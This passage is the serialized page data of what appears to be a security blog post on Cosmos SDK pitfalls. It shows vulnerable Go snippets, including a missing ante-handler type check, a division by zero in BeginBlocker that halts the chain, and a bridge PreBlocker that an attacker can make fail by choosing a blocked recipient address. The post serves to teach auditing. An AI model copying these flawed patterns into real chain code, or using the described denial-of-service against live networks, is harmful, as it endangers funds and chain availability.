rops":82504,"children":82505},{"class":92,"line":25457},[82506],{"type":24,"tag":90,"props":82507,"children":82508},{"style":114},[82509],{"type":29,"value":5740},{"type":24,"tag":90,"props":82511,"children":82512},{"class":92,"line":25466},[82513],{"type":24,"tag":90,"props":82514,"children":82515},{"emptyLinePlaceholder":16},[82516],{"type":29,"value":245},{"type":24,"tag":90,"props":82518,"children":82519},{"class":92,"line":25542},[82520],{"type":24,"tag":90,"props":82521,"children":82522},{"style":252},[82523],{"type":29,"value":82524}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":24,"tag":90,"props":82526,"children":82527},{"class":92,"line":25575},[82528],{"type":24,"tag":90,"props":82529,"children":82530},{"emptyLinePlaceholder":16},[82531],{"type":29,"value":245},{"type":24,"tag":90,"props":82533,"children":82534},{"class":92,"line":25583},[82535,82540,82544,82548,82552],{"type":24,"tag":90,"props":82536,"children":82537},{"style":636},[82538],{"type":29,"value":82539}," switch",{"type":24,"tag":90,"props":82541,"children":82542},{"style":136},[82543],{"type":29,"value":69855},{"type":24,"tag":90,"props":82545,"children":82546},{"style":114},[82547],{"type":29,"value":80610},{"type":24,"tag":90,"props":82549,"children":82550},{"style":97},[82551],{"type":29,"value":34570},{"type":24,"tag":90,"props":82553,"children":82554},{"style":114},[82555],{"type":29,"value":1297},{"type":24,"tag":90,"props":82557,"children":82558},{"class":92,"line":25591},[82559,82564,82568,82572,82576],{"type":24,"tag":90,"props":82560,"children":82561},{"style":636},[82562],{"type":29,"value":82563}," case",{"type":24,"tag":90,"props":82565,"children":82566},{"style":146},[82567],{"type":29,"value":80471},{"type":24,"tag":90,"props":82569,"children":82570},{"style":114},[82571],{"type":29,"value":226},{"type":24,"tag":90,"props":82573,"children":82574},{"style":146},[82575],{"type":29,"value":80504},{"type":24,"tag":90,"props":82577,"children":82578},{"style":114},[82579],{"type":29,"value":7954},{"type":24,"tag":90,"props":82581,"children":82582},{"class":92,"line":25628},[82583,82588,82592,82596,82600,82604],{"type":24,"tag":90,"props":82584,"children":82585},{"style":136},[82586],{"type":29,"value":82587}," anteHandler",{"type":24,"tag":90,"props":82589,"children":82590},{"style":120},[82591],{"type":29,"value":216},{"type":24,"tag":90,"props":82593,"children":82594},{"style":136},[82595],{"type":29,"value":80471},{"type":24,"tag":90,"props":82597,"children":82598},{"style":114},[82599],{"type":29,"value":226},{"type":24,"tag":90,"props":82601,"children":82602},{"style":108},[82603],{"type":29,"value":82262},{"type":24,"tag":90,"props":82605,"children":82606},{"style":114},[82607],{"type":29,"value":680},{"type":24,"tag":90,"props":82609,"children":82610},{"class":92,"line":25641},[82611,82616,82620,82625,82629],{"type":24,"tag":90,"props":82612,"children":82613},{"style":136},[82614],{"type":29,"value":82615}," authante",{"type":24,"tag":90,"props":82617,"children":82618},{"style":114},[82619],{"type":29,"value":226},{"type":24,"tag":90,"props":82621,"children":82622},{"style":108},[82623],{"type":29,"value":82624},"NewSetUpContextDecorator",{"type":24,"tag":90,"props":82626,"children":82627},{"style":114},[82628],{"type":29,"value":4900},{"type":24,"tag":90,"props":82630,"children":82631},{"style":252},[82632],{"type":29,"value":81125},{"type":24,"tag":90,"props":82634,"children":82635},{"class":92,"line":25654},[82636],{"type":24,"tag":90,"props":82637,"children":82638},{"style":120},[82639],{"type":29,"value":82640}," ...\n",{"type":24,"tag":90,"props":82642,"children":82643},{"class":92,"line":25667},[82644,82648,82652,82657,82661,82665,82669],{"type":24,"tag":90,"props":82645,"children":82646},{"style":136},[82647],{"type":29,"value":82615},{"type":24,"tag":90,"props":82649,"children":82650},{"style":114},[82651],{"type":29,"value":226},{"type":24,"tag":90,"props":82653,"children":82654},{"style":108},[82655],{"type":29,"value":82656},"NewIncrementSequenceDecorator",{"type":24,"tag":90,"props":82658,"children":82659},{"style":114},[82660],{"type":29,"value":117},{"type":24,"tag":90,"props":82662,"children":82663},{"style":136},[82664],{"type":29,"value":82307},{"type":24,"tag":90,"props":82666,"children":82667},{"style":114},[82668],{"type":29,"value":1677},{"type":24,"tag":90,"props":82670,"children":82671},{"style":252},[82672],{"type":29,"value":82673},"// innermost AnteDecorator\n",{"type":24,"tag":90,"props":82675,"children":82676},{"class":92,"line":25721},[82677],{"type":24,"tag":90,"props":82678,"children":82679},{"style":114},[82680],{"type":29,"value":79345},{"type":24,"tag":90,"props":82682,"children":82683},{"class":92,"line":25730},[82684,82689],{"type":24,"tag":90,"props":82685,"children":82686},{"style":636},[82687],{"type":29,"value":82688}," default",{"type":24,"tag":90,"props":82690,"children":82691},{"style":114},[82692],{"type":29,"value":7954},{"type":24,"tag":90,"props":82694,"children":82695},{"class":92,"line":34094},[82696,82700,82704,82708,82712,82716,82720],{"type":24,"tag":90,"props":82697,"children":82698},{"style":636},[82699],{"type":29,"value":80906},{"type":24,"tag":90,"props":82701,"children":82702},{"style":136},[82703],{"type":29,"value":27652},{"type":24,"tag":90,"props":82705,"children":82706},{"style":114},[82707],{"type":29,"value":133},{"type":24,"tag":90,"props":82709,"children":82710},{"style":136},[82711],{"type":29,"value":82364},{"type":24,"tag":90,"props":82713,"children":82714},{"style":114},[82715],{"type":29,"value":226},{"type":24,"tag":90,"props":82717,"children":82718},{"style":108},[82719],{"type":29,"value":82373},{"type":24,"tag":90,"props":82721,"children":82722},{"style":114},[82723],{"type":29,"value":680},{"type":24,"tag":90,"props":82725,"children":82726},{"class":92,"line":34115},[82727,82732,82736,82741,82745,82749,82753,82758,82762,82767,82771,82775],{"type":24,"tag":90,"props":82728,"children":82729},{"style":136},[82730],{"type":29,"value":82731}," sdkerrors",{"type":24,"tag":90,"props":82733,"children":82734},{"style":114},[82735],{"type":29,"value":226},{"type":24,"tag":90,"props":82737,"children":82738},{"style":108},[82739],{"type":29,"value":82740},"Wrapf",{"type":24,"tag":90,"props":82742,"children":82743},{"style":114},[82744],{"type":29,"value":117},{"type":24,"tag":90,"props":82746,"children":82747},{"style":136},[82748],{"type":29,"value":82402},{"type":24,"tag":90,"props":82750,"children":82751},{"style":114},[82752],{"type":29,"value":226},{"type":24,"tag":90,"props":82754,"children":82755},{"style":136},[82756],{"type":29,"value":82757},"ErrUnknownRequest",{"type":24,"tag":90,"props":82759,"children":82760},{"style":114},[82761],{"type":29,"value":133},{"type":24,"tag":90,"props":82763,"children":82764},{"style":1085},[82765],{"type":29,"value":82766},"\"invalid transaction type: %T\"",{"type":24,"tag":90,"props":82768,"children":82769},{"style":114},[82770],{"type":29,"value":133},{"type":24,"tag":90,"props":82772,"children":82773},{"style":136},[82774],{"type":29,"value":81011},{"type":24,"tag":90,"props":82776,"children":82777},{"style":114},[82778],{"type":29,"value":779},{"type":24,"tag":90,"props":82780,"children":82782},{"class":92,"line":82781},53,[82783,82788],{"type":24,"tag":90,"props":82784,"children":82785},{"style":1085},[82786],{"type":29,"value":82787}," \"transaction is not an SDK tx\"",{"type":24,"tag":90,"props":82789,"children":82790},{"style":114},[82791],{"type":29,"value":748},{"type":24,"tag":90,"props":82793,"children":82795},{"class":92,"line":82794},54,[82796],{"type":24,"tag":90,"props":82797,"children":82798},{"style":114},[82799],{"type":29,"value":79345},{"type":24,"tag":90,"props":82801,"children":82803},{"class":92,"line":82802},55,[82804],{"type":24,"tag":90,"props":82805,"children":82806},{"style":114},[82807],{"type":29,"value":5740},{"type":24,"tag":90,"props":82809,"children":82811},{"class":92,"line":82810},56,[82812],{"type":24,"tag":90,"props":82813,"children":82814},{"emptyLinePlaceholder":16},[82815],{"type":29,"value":245},{"type":24,"tag":90,"props":82817,"children":82819},{"class":92,"line":82818},57,[82820,82824,82828,82832,82836,82840,82844,82848,82852],{"type":24,"tag":90,"props":82821,"children":82822},{"style":636},[82823],{"type":29,"value":2253},{"type":24,"tag":90,"props":82825,"children":82826},{"style":108},[82827],{"type":29,"value":81953},{"type":24,"tag":90,"props":82829,"children":82830},{"style":114},[82831],{"type":29,"value":117},{"type":24,"tag":90,"props":82833,"children":82834},{"style":136},[82835],{"type":29,"value":22076},{"type":24,"tag":90,"props":82837,"children":82838},{"style":114},[82839],{"type":29,"value":133},{"type":24,"tag":90,"props":82841,"children":82842},{"style":136},[82843],{"type":29,"value":81011},{"type":24,"tag":90,"props":82845,"children":82846},{"style":114},[82847],{"type":29,"value":133},{"type":24,"tag":90,"props":82849,"children":82850},{"style":136},[82851],{"type":29,"value":81891},{"type":24,"tag":90,"props":82853,"children":82854},{"style":114},[82855],{"type":29,"value":1686},{"type":24,"tag":90,"props":82857,"children":82859},{"class":92,"line":82858},58,[82860],{"type":24,"tag":90,"props":82861,"children":82862},{"style":114},[82863],{"type":29,"value":612},{"type":24,"tag":90,"props":82865,"children":82867},{"class":92,"line":82866},59,[82868],{"type":24,"tag":90,"props":82869,"children":82870},{"style":114},[82871],{"type":29,"value":827},{"type":24,"tag":25,"props":82873,"children":82874},{},[82875,82877,82882,82884,82891,82892,82899],{"type":29,"value":82876},"Additional examples of incorrect ",{"type":24,"tag":32,"props":82878,"children":82880},{"className":82879},[],[82881],{"type":29,"value":80300},{"type":29,"value":82883}," usage include ",{"type":24,"tag":69,"props":82885,"children":82888},{"href":82886,"rel":82887},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[73],[82889],{"type":29,"value":82890},"yet more bypassable checks and loss of funds",{"type":29,"value":13360},{"type":24,"tag":69,"props":82893,"children":82896},{"href":82894,"rel":82895},"https://github.com/cosmos/ibc-go/issues/853",[73],[82897],{"type":29,"value":82898},"incorrect data passing between blockchains",{"type":29,"value":226},{"type":24,"tag":850,"props":82901,"children":82903},{"id":82902},"errors-panics-i-can-handle-it",[82904],{"type":29,"value":82905},"Errors? Panics? I can handle it",{"type":24,"tag":25,"props":82907,"children":82908},{},[82909],{"type":29,"value":82910},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":24,"tag":25,"props":82912,"children":82913},{},[82914],{"type":29,"value":82915},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":24,"tag":25,"props":82917,"children":82918},{},[82919,82921,82927,82929,82934],{"type":29,"value":82920},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":24,"tag":32,"props":82922,"children":82924},{"className":82923},[],[82925],{"type":29,"value":82926},"k.keeper.TotalReward()",{"type":29,"value":82928}," returns zero, the ",{"type":24,"tag":32,"props":82930,"children":82932},{"className":82931},[],[82933],{"type":29,"value":59771},{"type":29,"value":82935}," execution will simply rollback as if nothing has happened.",{"type":24,"tag":80,"props":82937,"children":82939},{"code":82938,"language":77994,"meta":7,"className":77995,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[82940],{"type":24,"tag":32,"props":82941,"children":82942},{"__ignoreMap":7},[82943,82976,82999,83027,83063,83070,83139,83177,83184,83216],{"type":24,"tag":90,"props":82944,"children":82945},{"class":92,"line":93},[82946,82950,82954,82959,82963,82967,82972],{"type":24,"tag":90,"props":82947,"children":82948},{"style":97},[82949],{"type":29,"value":78130},{"type":24,"tag":90,"props":82951,"children":82952},{"style":114},[82953],{"type":29,"value":1151},{"type":24,"tag":90,"props":82955,"children":82956},{"style":136},[82957],{"type":29,"value":82958},"k ",{"type":24,"tag":90,"props":82960,"children":82961},{"style":146},[82962],{"type":29,"value":78144},{"type":24,"tag":90,"props":82964,"children":82965},{"style":114},[82966],{"type":29,"value":172},{"type":24,"tag":90,"props":82968,"children":82969},{"style":108},[82970],{"type":29,"value":82971},"AllocateReward",{"type":24,"tag":90,"props":82973,"children":82974},{"style":114},[82975],{"type":29,"value":680},{"type":24,"tag":90,"props":82977,"children":82978},{"class":92,"line":200},[82979,82983,82987,82991,82995],{"type":24,"tag":90,"props":82980,"children":82981},{"style":136},[82982],{"type":29,"value":78165},{"type":24,"tag":90,"props":82984,"children":82985},{"style":146},[82986],{"type":29,"value":78170},{"type":24,"tag":90,"props":82988,"children":82989},{"style":114},[82990],{"type":29,"value":226},{"type":24,"tag":90,"props":82992,"children":82993},{"style":146},[82994],{"type":29,"value":78179},{"type":24,"tag":90,"props":82996,"children":82997},{"style":114},[82998],{"type":29,"value":748},{"type":24,"tag":90,"props":83000,"children":83001},{"class":92,"line":239},[83002,83006,83010,83014,83018,83023],{"type":24,"tag":90,"props":83003,"children":83004},{"style":136},[83005],{"type":29,"value":78191},{"type":24,"tag":90,"props":83007,"children":83008},{"style":120},[83009],{"type":29,"value":366},{"type":24,"tag":90,"props":83011,"children":83012},{"style":146},[83013],{"type":29,"value":8145},{"type":24,"tag":90,"props":83015,"children":83016},{"style":114},[83017],{"type":29,"value":226},{"type":24,"tag":90,"props":83019,"children":83020},{"style":146},[83021],{"type":29,"value":83022},"MsgAllocateReward",{"type":24,"tag":90,"props":83024,"children":83025},{"style":114},[83026],{"type":29,"value":1686},{"type":24,"tag":90,"props":83028,"children":83029},{"class":92,"line":248},[83030,83034,83038,83042,83046,83051,83055,83059],{"type":24,"tag":90,"props":83031,"children":83032},{"style":114},[83033],{"type":29,"value":117},{"type":24,"tag":90,"props":83035,"children":83036},{"style":120},[83037],{"type":29,"value":983},{"type":24,"tag":90,"props":83039,"children":83040},{"style":146},[83041],{"type":29,"value":8145},{"type":24,"tag":90,"props":83043,"children":83044},{"style":114},[83045],{"type":29,"value":226},{"type":24,"tag":90,"props":83047,"children":83048},{"style":146},[83049],{"type":29,"value":83050},"MsgAllocatRewardResponse",{"type":24,"tag":90,"props":83052,"children":83053},{"style":114},[83054],{"type":29,"value":133},{"type":24,"tag":90,"props":83056,"children":83057},{"style":146},[83058],{"type":29,"value":1357},{"type":24,"tag":90,"props":83060,"children":83061},{"style":114},[83062],{"type":29,"value":1297},{"type":24,"tag":90,"props":83064,"children":83065},{"class":92,"line":258},[83066],{"type":24,"tag":90,"props":83067,"children":83068},{"emptyLinePlaceholder":16},[83069],{"type":29,"value":245},{"type":24,"tag":90,"props":83071,"children":83072},{"class":92,"line":272},[83073,83078,83082,83087,83091,83096,83100,83105,83109,83113,83118,83122,83126,83130,83135],{"type":24,"tag":90,"props":83074,"children":83075},{"style":136},[83076],{"type":29,"value":83077}," RewardPerShare",{"type":24,"tag":90,"props":83079,"children":83080},{"style":120},[83081],{"type":29,"value":78246},{"type":24,"tag":90,"props":83083,"children":83084},{"style":136},[83085],{"type":29,"value":83086}," k",{"type":24,"tag":90,"props":83088,"children":83089},{"style":114},[83090],{"type":29,"value":226},{"type":24,"tag":90,"props":83092,"children":83093},{"style":136},[83094],{"type":29,"value":83095},"keeper",{"type":24,"tag":90,"props":83097,"children":83098},{"style":114},[83099],{"type":29,"value":226},{"type":24,"tag":90,"props":83101,"children":83102},{"style":108},[83103],{"type":29,"value":83104},"Shares",{"type":24,"tag":90,"props":83106,"children":83107},{"style":114},[83108],{"type":29,"value":495},{"type":24,"tag":90,"props":83110,"children":83111},{"style":120},[83112],{"type":29,"value":6966},{"type":24,"tag":90,"props":83114,"children":83115},{"style":136},[83116],{"type":29,"value":83117}," k",{"type":24,"tag":90,"props":83119,"children":83120},{"style":114},[83121],{"type":29,"value":226},{"type":24,"tag":90,"props":83123,"children":83124},{"style":136},[83125],{"type":29,"value":83095},{"type":24,"tag":90,"props":83127,"children":83128},{"style":114},[83129],{"type":29,"value":226},{"type":24,"tag":90,"props":83131,"children":83132},{"style":108},[83133],{"type":29,"value":83134},"TotalReward",{"type":24,"tag":90,"props":83136,"children":83137},{"style":114},[83138],{"type":29,"value":2121},{"type":24,"tag":90,"props":83140,"children":83141},{"class":92,"line":281},[83142,83147,83151,83155,83159,83164,83168,83173],{"type":24,"tag":90,"props":83143,"children":83144},{"style":136},[83145],{"type":29,"value":83146}," k",{"type":24,"tag":90,"props":83148,"children":83149},{"style":114},[83150],{"type":29,"value":226},{"type":24,"tag":90,"props":83152,"children":83153},{"style":136},[83154],{"type":29,"value":83095},{"type":24,"tag":90,"props":83156,"children":83157},{"style":114},[83158],{"type":29,"value":226},{"type":24,"tag":90,"props":83160,"children":83161},{"style":108},[83162],{"type":29,"value":83163},"DistributeReward",{"type":24,"tag":90,"props":83165,"children":83166},{"style":114},[83167],{"type":29,"value":117},{"type":24,"tag":90,"props":83169,"children":83170},{"style":136},[83171],{"type":29,"value":83172},"RewardPerShare",{"type":24,"tag":90,"props":83174,"children":83175},{"style":114},[83176],{"type":29,"value":1686},{"type":24,"tag":90,"props":83178,"children":83179},{"class":92,"line":384},[83180],{"type":24,"tag":90,"props":83181,"children":83182},{"emptyLinePlaceholder":16},[83183],{"type":29,"value":245},{"type":24,"tag":90,"props":83185,"children":83186},{"class":92,"line":420},[83187,83191,83195,83199,83203,83208,83212],{"type":24,"tag":90,"props":83188,"children":83189},{"style":636},[83190],{"type":29,"value":3510},{"type":24,"tag":90,"props":83192,"children":83193},{"style":120},[83194],{"type":29,"value":455},{"type":24,"tag":90,"props":83196,"children":83197},{"style":136},[83198],{"type":29,"value":8145},{"type":24,"tag":90,"props":83200,"children":83201},{"style":114},[83202],{"type":29,"value":226},{"type":24,"tag":90,"props":83204,"children":83205},{"style":136},[83206],{"type":29,"value":83207},"MsgAllocateRewardResponse",{"type":24,"tag":90,"props":83209,"children":83210},{"style":114},[83211],{"type":29,"value":133},{"type":24,"tag":90,"props":83213,"children":83214},{"style":97},[83215],{"type":29,"value":78472},{"type":24,"tag":90,"props":83217,"children":83218},{"class":92,"line":428},[83219],{"type":24,"tag":90,"props":83220,"children":83221},{"style":114},[83222],{"type":29,"value":827},{"type":24,"tag":25,"props":83224,"children":83225},{},[83226,83228,83234,83235,83241,83242,83248,83250,83255],{"type":29,"value":83227},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":24,"tag":32,"props":83229,"children":83231},{"className":83230},[],[83232],{"type":29,"value":83233},"PreBlocker",{"type":29,"value":133},{"type":24,"tag":32,"props":83236,"children":83238},{"className":83237},[],[83239],{"type":29,"value":83240},"BeginBlocker",{"type":29,"value":8872},{"type":24,"tag":32,"props":83243,"children":83245},{"className":83244},[],[83246],{"type":29,"value":83247},"EndBlocker",{"type":29,"value":83249},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":24,"tag":32,"props":83251,"children":83253},{"className":83252},[],[83254],{"type":29,"value":83240},{"type":29,"value":83256}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":24,"tag":80,"props":83258,"children":83260},{"code":83259,"language":77994,"meta":7,"className":77995,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[83261],{"type":24,"tag":32,"props":83262,"children":83263},{"__ignoreMap":7},[83264,83329,83336,83384,83412,83419,83431],{"type":24,"tag":90,"props":83265,"children":83266},{"class":92,"line":93},[83267,83271,83276,83280,83284,83288,83292,83296,83300,83304,83309,83313,83317,83321,83325],{"type":24,"tag":90,"props":83268,"children":83269},{"style":97},[83270],{"type":29,"value":78130},{"type":24,"tag":90,"props":83272,"children":83273},{"style":108},[83274],{"type":29,"value":83275}," BeginBlocker",{"type":24,"tag":90,"props":83277,"children":83278},{"style":114},[83279],{"type":29,"value":117},{"type":24,"tag":90,"props":83281,"children":83282},{"style":136},[83283],{"type":29,"value":22076},{"type":24,"tag":90,"props":83285,"children":83286},{"style":146},[83287],{"type":29,"value":78170},{"type":24,"tag":90,"props":83289,"children":83290},{"style":114},[83291],{"type":29,"value":226},{"type":24,"tag":90,"props":83293,"children":83294},{"style":146},[83295],{"type":29,"value":78179},{"type":24,"tag":90,"props":83297,"children":83298},{"style":114},[83299],{"type":29,"value":133},{"type":24,"tag":90,"props":83301,"children":83302},{"style":136},[83303],{"type":29,"value":83095},{"type":24,"tag":90,"props":83305,"children":83306},{"style":146},[83307],{"type":29,"value":83308}," keeper",{"type":24,"tag":90,"props":83310,"children":83311},{"style":114},[83312],{"type":29,"value":226},{"type":24,"tag":90,"props":83314,"children":83315},{"style":146},[83316],{"type":29,"value":81775},{"type":24,"tag":90,"props":83318,"children":83319},{"style":114},[83320],{"type":29,"value":172},{"type":24,"tag":90,"props":83322,"children":83323},{"style":146},[83324],{"type":29,"value":1357},{"type":24,"tag":90,"props":83326,"children":83327},{"style":114},[83328],{"type":29,"value":269},{"type":24,"tag":90,"props":83330,"children":83331},{"class":92,"line":200},[83332],{"type":24,"tag":90,"props":83333,"children":83334},{"emptyLinePlaceholder":16},[83335],{"type":29,"value":245},{"type":24,"tag":90,"props":83337,"children":83338},{"class":92,"line":239},[83339,83343,83347,83351,83355,83359,83363,83367,83372,83376,83380],{"type":24,"tag":90,"props":83340,"children":83341},{"style":136},[83342],{"type":29,"value":83077},{"type":24,"tag":90,"props":83344,"children":83345},{"style":120},[83346],{"type":29,"value":78246},{"type":24,"tag":90,"props":83348,"children":83349},{"style":136},[83350],{"type":29,"value":83308},{"type":24,"tag":90,"props":83352,"children":83353},{"style":114},[83354],{"type":29,"value":226},{"type":24,"tag":90,"props":83356,"children":83357},{"style":108},[83358],{"type":29,"value":83104},{"type":24,"tag":90,"props":83360,"children":83361},{"style":114},[83362],{"type":29,"value":495},{"type":24,"tag":90,"props":83364,"children":83365},{"style":120},[83366],{"type":29,"value":6966},{"type":24,"tag":90,"props":83368,"children":83369},{"style":136},[83370],{"type":29,"value":83371}," keeper",{"type":24,"tag":90,"props":83373,"children":83374},{"style":114},[83375],{"type":29,"value":226},{"type":24,"tag":90,"props":83377,"children":83378},{"style":108},[83379],{"type":29,"value":83134},{"type":24,"tag":90,"props":83381,"children":83382},{"style":114},[83383],{"type":29,"value":2121},{"type":24,"tag":90,"props":83385,"children":83386},{"class":92,"line":248},[83387,83392,83396,83400,83404,83408],{"type":24,"tag":90,"props":83388,"children":83389},{"style":136},[83390],{"type":29,"value":83391}," keeper",{"type":24,"tag":90,"props":83393,"children":83394},{"style":114},[83395],{"type":29,"value":226},{"type":24,"tag":90,"props":83397,"children":83398},{"style":108},[83399],{"type":29,"value":83163},{"type":24,"tag":90,"props":83401,"children":83402},{"style":114},[83403],{"type":29,"value":117},{"type":24,"tag":90,"props":83405,"children":83406},{"style":136},[83407],{"type":29,"value":83172},{"type":24,"tag":90,"props":83409,"children":83410},{"style":114},[83411],{"type":29,"value":1686},{"type":24,"tag":90,"props":83413,"children":83414},{"class":92,"line":258},[83415],{"type":24,"tag":90,"props":83416,"children":83417},{"emptyLinePlaceholder":16},[83418],{"type":29,"value":245},{"type":24,"tag":90,"props":83420,"children":83421},{"class":92,"line":272},[83422,83426],{"type":24,"tag":90,"props":83423,"children":83424},{"style":636},[83425],{"type":29,"value":54690},{"type":24,"tag":90,"props":83427,"children":83428},{"style":97},[83429],{"type":29,"value":83430}," nil\n",{"type":24,"tag":90,"props":83432,"children":83433},{"class":92,"line":281},[83434],{"type":24,"tag":90,"props":83435,"children":83436},{"style":114},[83437],{"type":29,"value":827},{"type":24,"tag":1019,"props":83439,"children":83441},{"id":83440},"real-world-examples-3",[83442],{"type":29,"value":78519},{"type":24,"tag":25,"props":83444,"children":83445},{},[83446],{"type":29,"value":83447},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":24,"tag":25,"props":83449,"children":83450},{},[83451,83453,83459,83461,83466,83468,83474,83476,83482,83484,83490],{"type":29,"value":83452},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":24,"tag":32,"props":83454,"children":83456},{"className":83455},[],[83457],{"type":29,"value":83458},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":83460}," will be bubbled up through ",{"type":24,"tag":32,"props":83462,"children":83464},{"className":83463},[],[83465],{"type":29,"value":83233},{"type":29,"value":83467}," and halt the chain. It turns out an attacker can force ",{"type":24,"tag":32,"props":83469,"children":83471},{"className":83470},[],[83472],{"type":29,"value":83473},"SendCoinsFromModuleToAccount",{"type":29,"value":83475}," to return an error by setting ",{"type":24,"tag":32,"props":83477,"children":83479},{"className":83478},[],[83480],{"type":29,"value":83481},"recipient",{"type":29,"value":83483}," to some ",{"type":24,"tag":32,"props":83485,"children":83487},{"className":83486},[],[83488],{"type":29,"value":83489},"BlockedAddr",{"type":29,"value":83491},",rendering the code susceptible to DoS attacks.",{"type":24,"tag":25,"props":83493,"children":83494},{},[83495],{"type":24,"tag":69,"props":83496,"children":83499},{"href":83497,"rel":83498},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[73],[83500],{"type":29,"value":78569},{"type":24,"tag":80,"props":83502,"children":83504},{"code":83503,"language":77994,"meta":7,"className":77995,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[83505],{"type":24,"tag":32,"props":83506,"children":83507},{"__ignoreMap":7},[83508,83561,83576,83599,83629,83665,83673,83729,83753,83803,83810,83817,83824,83831,83838,83869,83892,83917,83932,83939,83976,84030,84053,84094,84101,84108,84159,84220,84243,84266,84278,84299,84311,84319,84326,84341,84349,84356,84363,84370,84377,84384,84415,84438,84463,84488,84503,84510,84547,84558,84579,84590,84602,84609,84632,84672,84679,84686],{"type":24,"tag":90,"props":83509,"children":83510},{"class":92,"line":93},[83511,83515,83519,83524,83528,83533,83537,83541,83545,83549,83553,83557],{"type":24,"tag":90,"props":83512,"children":83513},{"style":97},[83514],{"type":29,"value":78130},{"type":24,"tag":90,"props":83516,"children":83517},{"style":114},[83518],{"type":29,"value":1151},{"type":24,"tag":90,"props":83520,"children":83521},{"style":136},[83522],{"type":29,"value":83523},"pbh ",{"type":24,"tag":90,"props":83525,"children":83526},{"style":120},[83527],{"type":29,"value":983},{"type":24,"tag":90,"props":83529,"children":83530},{"style":146},[83531],{"type":29,"value":83532},"PreBlockHandler",{"type":24,"tag":90,"props":83534,"children":83535},{"style":114},[83536],{"type":29,"value":172},{"type":24,"tag":90,"props":83538,"children":83539},{"style":108},[83540],{"type":29,"value":83233},{"type":24,"tag":90,"props":83542,"children":83543},{"style":114},[83544],{"type":29,"value":495},{"type":24,"tag":90,"props":83546,"children":83547},{"style":146},[83548],{"type":29,"value":80560},{"type":24,"tag":90,"props":83550,"children":83551},{"style":114},[83552],{"type":29,"value":226},{"type":24,"tag":90,"props":83554,"children":83555},{"style":146},[83556],{"type":29,"value":83233},{"type":24,"tag":90,"props":83558,"children":83559},{"style":114},[83560],{"type":29,"value":269},{"type":24,"tag":90,"props":83562,"children":83563},{"class":92,"line":200},[83564,83568,83572],{"type":24,"tag":90,"props":83565,"children":83566},{"style":636},[83567],{"type":29,"value":3510},{"type":24,"tag":90,"props":83569,"children":83570},{"style":97},[83571],{"type":29,"value":81839},{"type":24,"tag":90,"props":83573,"children":83574},{"style":114},[83575],{"type":29,"value":680},{"type":24,"tag":90,"props":83577,"children":83578},{"class":92,"line":239},[83579,83583,83587,83591,83595],{"type":24,"tag":90,"props":83580,"children":83581},{"style":136},[83582],{"type":29,"value":27995},{"type":24,"tag":90,"props":83584,"children":83585},{"style":146},[83586],{"type":29,"value":80471},{"type":24,"tag":90,"props":83588,"children":83589},{"style":114},[83590],{"type":29,"value":226},{"type":24,"tag":90,"props":83592,"children":83593},{"style":146},[83594],{"type":29,"value":78179},{"type":24,"tag":90,"props":83596,"children":83597},{"style":114},[83598],{"type":29,"value":748},{"type":24,"tag":90,"props":83600,"children":83601},{"class":92,"line":248},[83602,83607,83611,83616,83620,83625],{"type":24,"tag":90,"props":83603,"children":83604},{"style":136},[83605],{"type":29,"value":83606}," 